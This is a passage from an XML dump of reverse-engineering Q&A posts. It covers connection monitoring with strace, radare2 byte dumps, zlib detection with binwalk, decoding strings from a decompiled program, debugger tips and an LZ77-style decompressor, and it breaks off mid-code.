  <row Id="16007" PostTypeId="2" ParentId="16004" CreationDate="2017-08-04T18:51:42.830" Score="7" Body="&lt;h2&gt;Linux&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As @Nirlzr correctly mentioned, &lt;code&gt;netstat -ape | grep &amp;lt;proc_name/pid&amp;gt;&lt;/code&gt; will show you the active connections of a process. It might be just enough for you but there are some cases where it would not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;netstat&lt;/code&gt; has some blind spots -- it only shows connections at a certain point in time. Therefore, connections which closed quickly and every connection which was closed before or started after the execution of &lt;code&gt;netstat&lt;/code&gt; will obviously not be shown.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution for this is to use &lt;code&gt;strace&lt;/code&gt; which can help you monitor the connections which created by a process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start a process and monitor its connections:&lt;br&gt;&#xA;&lt;code&gt;strace -f -e trace=network -s 10000 &amp;lt;process [arg1] [arg2] [...]&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To monitor an already existing process:&lt;br&gt;&#xA;&lt;code&gt;strace -p &amp;lt;pid&amp;gt; -f -e trace=network -s 10000&lt;/code&gt;&lt;br&gt;&#xA;&lt;em&gt;if you don't know its PID use &lt;code&gt;pidof &amp;lt;processname&amp;gt;&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use some &lt;code&gt;grep&lt;/code&gt; magic to print only the IP addresses:&lt;br&gt;&#xA;&lt;code&gt;strace -f -e trace=network &amp;lt;process [args...]&amp;gt; 2&amp;gt;&amp;amp;1 | grep -oP 'connect.*inet_addr\(&quot;\K[^&quot;]+'&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Windows&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In windows you also can use &lt;code&gt;netstat&lt;/code&gt; or the improved version of it &lt;a href=&quot;https://technet.microsoft.com/en-us/library/hh826153(v=wps.630).aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;Get-NetTCPConnection&lt;/code&gt;&lt;/a&gt; via &lt;code&gt;powershell&lt;/code&gt;. But both have the blind spot aforementioned.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two recommended solutions for it are:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blogs.technet.microsoft.com/netmon/p/downloads/&quot; rel=&quot;noreferrer&quot;&gt;Network Monitor&lt;/a&gt; by Microsoft&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.nirsoft.net/utils/tcp_log_view.html&quot; rel=&quot;noreferrer&quot;&gt;TcpLogView&lt;/a&gt; by Nirsoft&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both have the ability to monitor connections as they open and a nice GUI to show it.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2017-08-04T20:15:06.287" LastActivityDate="2017-08-04T20:15:06.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16008" PostTypeId="2" ParentId="15193" CreationDate="2017-08-05T07:17:39.890" Score="20" Body="&lt;p&gt;The &lt;code&gt;pc&lt;/code&gt; command will output &lt;em&gt;n&lt;/em&gt; bytes from the current seek (&lt;code&gt;s&lt;/code&gt;) as a C array, where &lt;em&gt;n&lt;/em&gt; is the Block size (&lt;code&gt;b&lt;/code&gt;) or the length mentioned in the command.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output is then can be used to, for example, manipulate the array outside of radare2, build a shellcode, decrypt a buffer and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's demonstrate it with a simple example.&lt;br&gt;&#xA;Here's a tiny HelloWorld.c program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include  &amp;lt;stdio.h&amp;gt;&#xA;&#xA;void main()&#xA;{&#xA;        printf(&quot;Hello, World!\n&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's compile it with &lt;code&gt;gcc HelloWorld.c -o HelloWorld&lt;/code&gt; and open it with radare2 &lt;code&gt;r2 -A HelloWorld&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's seek to &lt;code&gt;main&lt;/code&gt; and print the function:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400400]&amp;gt; s main&#xA;[0x004004d7]&amp;gt; pdf&#xA;            ;-- main:&#xA;/ (fcn) sym.main 17&#xA;|  sym.main ();&#xA;|           ; DATA XREF from 0x0040041d (entry0)&#xA;|       0x004004d7      55             push rbp&#xA;|       0x004004d8      4889e5         mov rbp, rsp&#xA;|       0x004004db      bf74054000     mov edi, str.Hello__World_ ; &quot;Hello, World!&quot;&#xA;|       0x004004e0      e80bffffff     call sym.imp.puts          ; int puts(const char *s)&#xA;|       0x004004e5      90             nop&#xA;|       0x004004e6      5d             pop rbp&#xA;\       0x004004e7      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I said, just a simple Hello World program :)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, instead of printing the disassembly let's print only the hex bytes of the function using &lt;code&gt;pxf&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x004004d7  5548 89e5 bf74 0540 00e8 0bff ffff 905d  UH...t.@.......]&#xA;0x004004e7  c3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are the hex-bytes which represent the function.&lt;br&gt;&#xA;To the final part, using &lt;code&gt;bf sym.main&lt;/code&gt; let's define the current Block size to be as the size of &lt;code&gt;main&lt;/code&gt;, and then print the C-array using &lt;code&gt;pc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x004004d7]&amp;gt; bf sym.main&#xA;[0x004004d7]&amp;gt; pc&#xA;#define _BUFFER_SIZE 17&#xA;const uint8_t buffer[17] = {&#xA;  0x55, 0x48, 0x89, 0xe5, 0xbf, 0x74, 0x05, 0x40, 0x00, 0xe8,&#xA;  0x0b, 0xff, 0xff, 0xff, 0x90, 0x5d, 0xc3&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can easily see that the array is structured from the hex bytes we printed before, from 0x55 (&lt;code&gt;push rbp&lt;/code&gt;) to 0xc3 (&lt;code&gt;return&lt;/code&gt;).  That's it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say for example that you  disassembled a program and spotted a XOR encrypted data and you want to dump it to a C program and manipulate it there. In such case you need to seek to the offset of the encrypted data (&lt;code&gt;s &amp;lt;addr&amp;gt;&lt;/code&gt;), define the block size to be the length of the data (&lt;code&gt;b 150&lt;/code&gt;) and then dump it as a C-array using &lt;code&gt;pc&lt;/code&gt; (or as a python array using &lt;code&gt;pcp&lt;/code&gt;).  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Decompilation&lt;/strong&gt;&lt;br&gt;&#xA;Some people expect the &lt;code&gt;pc&lt;/code&gt; command to be a decompilation of the program to C. If you want to decompile a function to C in radare you can use one of the following ways:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;pdc&lt;/code&gt; command to print C-like syntax:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sym.main () {&#xA;    loc_0x4004d7:&#xA;&#xA;     //DATA XREF from 0x0040041d (entry0)&#xA;       push rbp                 &#xA;       rbp = rsp                &#xA;       edi = str.Hello__World ; &quot;Hello, World!&quot;                                                                       &#xA;       int puts(const char * s : 0x00400574 = Hello, World!)                                    &#xA;       pop rbp                  &#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;https://github.com/wargio/r2dec-js&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;r2dec&lt;/code&gt;&lt;/a&gt; - a plugin to radare that can produce a pseudo-C output&lt;br&gt;&#xA;Use &lt;a href=&quot;https://github.com/radareorg/radeco&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;radeco&lt;/code&gt;&lt;/a&gt; - a radare decompiler tool based on radeco-lib.&lt;br&gt;&#xA;Use &lt;a href=&quot;https://github.com/radare/radare2-extras/tree/master/r2snowman&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;r2snowman&lt;/code&gt;&lt;/a&gt; - radare2 plugin which integrates the snowman decompiler.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-10-27T06:31:32.257" LastActivityDate="2018-10-27T06:31:32.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16009" PostTypeId="2" ParentId="13913" CreationDate="2017-08-05T07:54:01.543" Score="4" Body="&lt;p&gt;You may use &lt;code&gt;cuobjdump&lt;/code&gt;, &lt;code&gt;nvdisasm&lt;/code&gt;, or &lt;code&gt;nvprune&lt;/code&gt;, three CUDA binary tools.&#xA;You can find a full explanation of how to use it on this &lt;a href=&quot;http://docs.nvidia.com/cuda/cuda-binary-utilities/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also this &lt;a href=&quot;https://stackoverflow.com/questions/6689224/disassemble-an-opencl-kernel&quot;&gt;question in SO (Disassemble an OpenCL kernel?)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-08-05T07:54:01.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16010" PostTypeId="1" AcceptedAnswerId="16011" CreationDate="2017-08-05T14:40:52.980" Score="0" ViewCount="1943" Body="&lt;p&gt;So I'm currently trying to analyze a resource archive file of an old game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I got so far&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The file is supposed to represent a &quot;virtual drive&quot;, the format is called VDRV. This means there are paths listed with offsets and sizes.&lt;/li&gt;&#xA;&lt;li&gt;Header structure is 64 bytes for the game identification (magic number + a whole lot of 0x00), then a uint32 for total file size, then a uint32 for the offset where the first block of data ends&lt;/li&gt;&#xA;&lt;li&gt;Data follows, the first block takes up more than 90% of archive size. This is where the resources have to be located. This seems to be ciphered/encrypted.&lt;/li&gt;&#xA;&lt;li&gt;What is left is what I call the &quot;Resource Table&quot; - a chain of either 64 or 120 bytes long blocks until the end of file. I believe this is where the paths are registered&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So far, so good. However, this is where it get's tricky. The first twelve bytes of each of those blocks are readable, they are always three uint32.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Length of the block including this int (either 64 or 120)&lt;/li&gt;&#xA;&lt;li&gt;Some offset, this seems to link the blocks in a LinkedList style (actually proved that using a small program I wrote).&lt;/li&gt;&#xA;&lt;li&gt;Offset of the last 4 bytes of this block.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And this is where I'm currently stuck, since the rest seems to be encrypted/ciphered data. I dumped the data from the 64 and 120 long blocks seperately, without those twelve &quot;header&quot; bytes. Each block is seperated by line break.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://paste.ubuntu.com/25247256/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Long Blocks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://paste.ubuntu.com/25247255/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Small Blocks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now there are obviously some repeated patterns here, so I'm thinking that it might be some XOR-ish cipher, though I haven't been able to figure out a key or even a structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I expect to find in this data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Two uint32, offset and size&lt;/li&gt;&#xA;&lt;li&gt;A string path&lt;/li&gt;&#xA;&lt;li&gt;Unused space filled with 0x00&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, I know that these (partial) strings should be in there somewhere in some way or another (got those from the executable):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;data&#xA;../../../data/g&#xA;g/img/inv_Lf._img&#xA;g/img/inv_Rt._img&#xA;g/img/inv_All._img&#xA;g/img/mcUse._img&#xA;g/img/mcTalk._img&#xA;g/img/mcTake._img&#xA;g/img/mcLook._img&#xA;g/img/mcArrow._img&#xA;g/img/fntOtherSpeakers._img&#xA;g/img/fntBig._img&#xA;g/img/fntWhite._img&#xA;g/img/fntYellow._img&#xA;g/img/fntGray._img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is all I have been able to figure out up to now. Any help in figuring this out would be &lt;em&gt;much&lt;/em&gt; appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Posted the binary in the comments&lt;/p&gt;&#xA;" OwnerDisplayName="user21123" LastEditorDisplayName="user21123" LastEditDate="2017-08-05T15:05:23.103" LastActivityDate="2017-08-05T16:18:42.887" Title="Need help with binary file analysis" Tags="|binary-analysis|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16011" PostTypeId="2" ParentId="16010" CreationDate="2017-08-05T16:18:42.887" Score="1" Body="&lt;p&gt;The binary seems to be composed of blocks of &lt;code&gt;zlib&lt;/code&gt; compressed data.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -B vdrv.dat &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;76            0x4C            Zlib compressed data, best compression&#xA;410855        0x644E7         Zlib compressed data, best compression&#xA;411415        0x64717         Zlib compressed data, best compression&#xA;411833        0x648B9         Zlib compressed data, best compression&#xA;739843        0xB4A03         Zlib compressed data, best compression&#xA;740261        0xB4BA5         Zlib compressed data, best compression&#xA;943653        0xE6625         Zlib compressed data, best compression&#xA;944071        0xE67C7         Zlib compressed data, best compression&#xA;1342964       0x147DF4        Zlib compressed data, best compression&#xA;1343382       0x147F96        Zlib compressed data, best compression&#xA;1715439       0x1A2CEF        Zlib compressed data, best compression&#xA;1715857       0x1A2E91        Zlib compressed data, best compression&#xA;&amp;lt;-snip-&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;binwalk&lt;/code&gt; treats the following bytes as &lt;code&gt;zlib&lt;/code&gt; signatures:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#0    beshort        0x7801        Zlib header, no compression&#xA;0    beshort        0x789c        Zlib compressed data, default compression&#xA;0    beshort        0x78da        Zlib compressed data, best compression&#xA;0    beshort        0x785e        Zlib compressed data, compressed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Entropy plot:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uGEQJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uGEQJ.png&quot; alt=&quot;Entropy plot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When the compressed data at offset &lt;code&gt;4C&lt;/code&gt; is decompressed, the result is a binary blob with some image signatures and string data:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; $ binwalk 4C&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;89            0x59            JPEG image data, JFIF standard 1.02&#xA;119           0x77            TIFF image data, big-endian, offset of first image directory: 8&#xA;413           0x19D           JPEG image data, JFIF standard 1.02&#xA;6169          0x1819          Copyright string: &amp;quot;Copyright Flag&amp;quot;&#xA;6800          0x1A90          JPEG image data, JFIF standard 1.02&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;br&gt;&#xA;&lt;pre&gt;&lt;code&gt;Adobe Photoshop 7.0&#xA;2004:10:25 15:02:26&#xA;Adobe_CM&#xA;4Photoshop 3.0&#xA;Resolution&#xA;FX Global Lighting Angle&#xA;FX Global Altitude&#xA;Print Flags&#xA;Copyright Flag&#xA;Japanese Print Flags&#xA;Color Halftone Settings&#xA;Color Transfer Settings&#xA;URL overrides&#xA;ICC Untagged Flag&#xA;Layer ID Generator Base&#xA;New Windows Thumbnail&#xA;Version compatibility info&#xA;JPEG Quality&#xA;@3$%&amp;amp;C49&#xA;#L#|AJ74N&#xA;M&amp;gt;5..=l5&#xA;/;t&amp;gt;q~{z&#xA;6.r%G60L&#xA;&amp;lt;-snip-&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The presence of readable ASCII strings seems to confirm that the data is compressed and was successfully decompressed. With that being said, &lt;code&gt;binwalk&lt;/code&gt; detects roughly 1900 &lt;code&gt;zlib&lt;/code&gt; compressed data blocks, with some false positives detected throughout the file. In addition, not all of the compressed blocks may be detected; when I used &lt;a href=&quot;http://www.wxhexeditor.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;wxHexEditor&lt;/a&gt; to search for byte &lt;code&gt;0x78DA&lt;/code&gt;, more than 3000 matches were found. Either that or &lt;code&gt;binwalk&lt;/code&gt; augments its signature scan with additional information or heuristics that I am not aware of to reduce false positives.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OHE5C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OHE5C.png&quot; alt=&quot;Search results&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The search results differ from the output of the signature scan.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-08-05T16:18:42.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16012" PostTypeId="1" AcceptedAnswerId="16013" CreationDate="2017-08-05T19:05:05.023" Score="0" ViewCount="713" Body="&lt;p&gt;Below is a part of a code that I reversed with repy2exe and I want to understand what it does and especially how to decode the value in the &quot;secret&quot; variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using = [&#xA;    'Mg==\n',&#xA;    'MTA1\n',&#xA;    'Nzg=\n',&#xA;    'ODI=\n',&#xA;    'NzM=\n',&#xA;    'Njg=\n',&#xA;    'Nzk=\n',&#xA;    'OTg=\n',&#xA;    'ODg=\n',&#xA;    'Njc=\n',&#xA;    'Njg=\n',&#xA;    'ODM=\n',&#xA;    'MTk=\n',&#xA;    'MTc=\n',&#xA;    'MTY=\n',&#xA;    'MjI=\n']&#xA;secret = 'BZh91AY&amp;amp;SY\xf2\xbfIg\x00\x00\x01\x89\x80\x05\x002\x00\x08\x00 \x00!\x80\x0c\x01[6\xe2\xeeH\xa7\n\x12\x1eW\xe9,\xe0'&#xA;pas = raw_input('Please Enter The Password:')&#xA;a = ''&#xA;for i in range(len(pas)):&#xA;    a += pas[i]&#xA;&#xA;coun = 0&#xA;win = 16 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21125" LastActivityDate="2017-08-05T19:27:58.810" Title="Can anyone help me identify and decode this string?" Tags="|disassembly|binary-analysis|python|entropy|" AnswerCount="1" CommentCount="1" ClosedDate="2017-08-18T20:24:04.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="16013" PostTypeId="2" ParentId="16012" CreationDate="2017-08-05T19:27:58.810" Score="1" Body="&lt;p&gt;Although the code is clearly incomplete, some things can be guessed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The strings ending with &lt;code&gt;==&lt;/code&gt; are most likely base64-encoded (&lt;a href=&quot;https://en.wikipedia.org/wiki/Base64&quot; rel=&quot;nofollow noreferrer&quot;&gt;Base64&lt;/a&gt; uses &lt;code&gt;=&lt;/code&gt; for padding). Let's try to decode them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt;x = [a.decode('base64') for a in using]&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;'2', '105', '78', '82', '73', '68', '79', '98', '88', '67', '68', '83', '19', '17', '16', '22']&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So they decode to string representations of some numbers. Not sure if this means anything, we need to see how they're used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The &lt;code&gt;BZ&lt;/code&gt; sequence hints at &lt;a href=&quot;https://en.wikipedia.org/wiki/Bzip2&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bzip2&lt;/a&gt;. We can try to decompress it as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import bz2&#xA;&amp;gt;&amp;gt;&amp;gt; bz2.decompress(secret)&#xA;'base64'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And we're back to square one.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-08-05T19:27:58.810" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16014" PostTypeId="1" AcceptedAnswerId="16016" CreationDate="2017-08-06T05:57:58.480" Score="4" ViewCount="5618" Body="&lt;p&gt;Does anyone know how to change the font size in immunity debugger? The font option under Options -&gt; Appearance -&gt; Font doesn't seem to change anything and just resets whenever you restart the program.&lt;/p&gt;&#xA;" OwnerUserId="21129" LastActivityDate="2017-09-09T21:23:20.100" Title="Changing the font in immunity debugger?" Tags="|immunity-debugger|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16015" PostTypeId="1" CreationDate="2017-08-06T07:04:53.063" Score="0" ViewCount="1400" Body="&lt;p&gt;I am developing a game in &lt;a href=&quot;https://www.google.com/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;uact=8&amp;amp;ved=0ahUKEwjfhva9hMLVAhXnz4MKHcsUD_IQFgg6MAA&amp;amp;url=https%3A%2F%2Fwww.yoyogames.com%2Fgamemaker&amp;amp;usg=AFQjCNFQQRqeb2TlvDKbVKlNMM1C55-9fA&quot; rel=&quot;nofollow noreferrer&quot;&gt;GameMaker: Studio&lt;/a&gt; and have run into a minor problem. No matter what I do, the games output payload is generated, named, and referenced as &lt;code&gt;data.win&lt;/code&gt;. I would like to name it something other than &lt;code&gt;data.win&lt;/code&gt; and still be able to run it. I have been able to pinpoint the reference of the payload in the game's executable with OllyDbg, but am, of course, limited to modifying the value with only eight bytes. I know it is possible to insert bytes in OllyDbg, but I can't figure out how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/U095c.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U095c.jpg&quot; alt=&quot;Here is the value I found in referenced strings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to change the extension successfully, but only that. I did this to ensure that modifying this value directly &lt;em&gt;actually&lt;/em&gt; works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Yes&lt;/em&gt;, I am &lt;em&gt;completely aware&lt;/em&gt; that this has the &lt;em&gt;potential&lt;/em&gt; to break the executable, but it is a risk I am willing to make. I have already used &lt;code&gt;Binary edit&lt;/code&gt; both with, and without the &lt;code&gt;Keep size&lt;/code&gt; box checked. I am still somewhat new to OllyDbg, so any help is grealy appreciated.&lt;/p&gt;&#xA;" OwnerUserId="21084" LastActivityDate="2017-12-04T15:20:25.293" Title="How can I insert bytes with OllyDbg?" Tags="|windows|ollydbg|executable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16016" PostTypeId="2" ParentId="16014" CreationDate="2017-08-06T07:37:09.950" Score="5" Body="&lt;p&gt;Trying to figure out the problem I came with the following solution:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open Immunity Debugger as an Administrator&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;Options &amp;gt;&amp;gt; Appearance &amp;gt;&amp;gt; Fonts&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Rename one of the fonts to whatever name you'd like&lt;/li&gt;&#xA;&lt;li&gt;Click on &lt;code&gt;Change&lt;/code&gt; and set the settings you wish&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;Defaults&lt;/code&gt; tab and set the &lt;code&gt;Default font&lt;/code&gt; to be the one you edited.&lt;/li&gt;&#xA;&lt;li&gt;Done.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now the configuration stays any time you open Immunity as an Administrator.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-08-06T07:37:09.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16017" PostTypeId="2" ParentId="16015" CreationDate="2017-08-06T13:18:05.773" Score="2" Body="&lt;p&gt;So you are trying to modify a string, increasing it's size? You actually can insert more than 8 bytes there if you uncheck &quot;Keep size&quot; box and continue typing bytes as usual (don't forget to insert 0 byte at the end of a string), but you will end up with corrupting following data (next string in your case)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you have 2 solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Forget about your next string, corrupt it&lt;/li&gt;&#xA;&lt;li&gt;Create you file name string in some other empty space in memory, modify all references to your original &quot;data.win&quot; string to reference your new string (you can find all references by RMB click at the begining of a string -&gt; Find references to -&gt; Selected block), and save modified executable&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21133" LastActivityDate="2017-08-06T13:18:05.773" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16020" PostTypeId="2" ParentId="15961" CreationDate="2017-08-06T15:22:34.977" Score="0" Body="&lt;p&gt;sounds like you need something that implements &lt;em&gt;differential debugging&lt;/em&gt; to quickly pinpoint the code which was executed in one case (e.g. clicking the button) but not others (not clicking). An early tool implementing this approach was &lt;a href=&quot;https://github.com/OpenRCE/paimei&quot; rel=&quot;nofollow noreferrer&quot;&gt;PaiMei&lt;/a&gt; by Pedram Amini. Unfortunately it's been abandoned and probably won't work with recent software. IDA has a &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1634.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;trace recording/diffing feature&lt;/a&gt; which may be used for this purpose. You can also write your own tool based on some debugging framework or a DBI engine like PIN.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-08-06T15:22:34.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16021" PostTypeId="1" AcceptedAnswerId="16041" CreationDate="2017-08-06T17:22:41.570" Score="8" ViewCount="1121" Body="&lt;p&gt;I've reversed the following decompression algorithm from a game. It appears to be some variant of &lt;a href=&quot;https://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77&quot; rel=&quot;noreferrer&quot;&gt;LZ77&lt;/a&gt;, however none of the descriptions of variants seem quite close enough what I've got. Is this a specific flavor of LZ77, and if not, how would I go about creating an equivalent compression method? The files have no header.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned int decompress(uint8_t *decompressed, uint8_t *compressed)&#xA;{&#xA;    uint32_t distance, length, i, j;&#xA;    uint8_t temp, *compressed_ptr = compressed,&#xA;        *decompressed_ptr = decompressed, *backwards_ptr = NULL;&#xA;&#xA;    while (1)&#xA;    {&#xA;        temp = *(compressed_ptr++);&#xA;        length = (temp &amp;amp; 7) + 1;&#xA;        distance = temp &amp;gt;&amp;gt; 3;&#xA;&#xA;        if (distance == 0x1E)&#xA;            distance = *(compressed_ptr++) + 0x1E;&#xA;        else if (distance &amp;gt; 0x1E)&#xA;        {&#xA;            distance += *compressed_ptr;&#xA;            distance += (*(++compressed_ptr) &amp;lt;&amp;lt; 8) + 0xFF;&#xA;            compressed_ptr++;&#xA;            if (distance == 0x1011D)&#xA;                length--;&#xA;        }&#xA;&#xA;        if (distance != 0)&#xA;        {&#xA;            memcpy(decompressed_ptr, compressed_ptr, distance);&#xA;            decompressed_ptr += distance;&#xA;            compressed_ptr += distance;&#xA;        }&#xA;&#xA;        for (i = length; i &amp;gt; 0; i--)&#xA;        {&#xA;            temp = *(compressed_ptr++);&#xA;            length = temp &amp;amp; 7;&#xA;            distance = temp &amp;gt;&amp;gt; 3;&#xA;&#xA;            if (length == 0)&#xA;            {&#xA;                length = *(compressed_ptr++);&#xA;                if (length == 0)&#xA;                {&#xA;                    return (uintptr_t)decompressed_ptr -&#xA;                        (uintptr_t)decompressed;&#xA;                }&#xA;                length += 7;&#xA;            }&#xA;&#xA;            if 